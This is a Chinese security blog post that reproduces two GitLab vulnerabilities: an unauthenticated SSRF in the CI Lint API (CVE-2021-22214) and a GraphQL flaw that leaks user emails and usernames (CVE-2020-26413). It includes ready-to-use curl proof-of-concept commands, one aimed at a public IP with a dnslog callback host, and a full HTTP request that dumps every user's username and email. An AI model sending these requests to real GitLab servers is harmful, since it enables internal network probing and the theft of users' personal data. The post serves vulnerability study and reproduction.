追洞计划 | Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)

2021-07-16 15:47:47 浏览数 (1)

文章来源|MS08067 Web安全知识星球

本文作者:Taoing(Web安全攻防合伙人)

GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。

一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

CVE-2021-22214

GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

二、漏洞影响

代码语言:javascript复制
  app="GitLab"

影响版本:从 10.5 开始的所有版本

安全版本:官方当前最新的 13.12.2, 13.11.5 和 13.10.5

三、POC:

代码语言:javascript复制
curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:n  remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'

四、漏洞复现:

1、环境搭建

搭建环境介绍:CentOS7.6

1)首先按官网提示先安装依赖,然后执行下面命令添加yum源,选择gitlab-ce社区版

代码语言:javascript复制
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

2)更新本地yum缓存

代码语言:javascript复制
sudo yum makecache

3)获取更新源中可安装所有的gitlab版本

代码语言:javascript复制
yum list gitlab-ce --showduplicates|sort -r

使用yum安装指定版本,例如13.12.1

代码语言:javascript复制
yum install gitlab-ce-13.12.1-ce.0.el7

使用命令gitlab-ctl reconfigure即可默认配置安装gitlab。

默认配置安装gitlab:端口默认80

代码语言:javascript复制
gitlab-ctl reconfigure
2、漏洞复现

1)dnslog

代码语言:javascript复制
curl -s --show-error -H 'Content-Type: application/json' http://47.243.37.71/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:n  remote: http://rkv4ov.dnslog.cn/api/v1/targets/?test.yml"}'

GitLab_Graphql邮箱信息泄露漏洞(CVE-2020-26413)

一、漏洞描述

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

二、影响范围

GitLab 13.4 – 13.6.2

title="GitLab"

三、漏洞复现

访问 URL

http://xxx.xxx.xxx.xxx/-//graphql-explorer

Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

发包调用了 /api/graphql 接口发送数据

完整数据包为:

代码语言:javascript复制
POST //api/graphql HTTP/1.1
Host: 10.1.2.33:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 220

{"query":"{nusers {nedges {n node {n usernamen emailn avatarUrln status {n emojin messagen messageHtmln }n }n }n }n }","variables":null,"operationName":null}

0 人点赞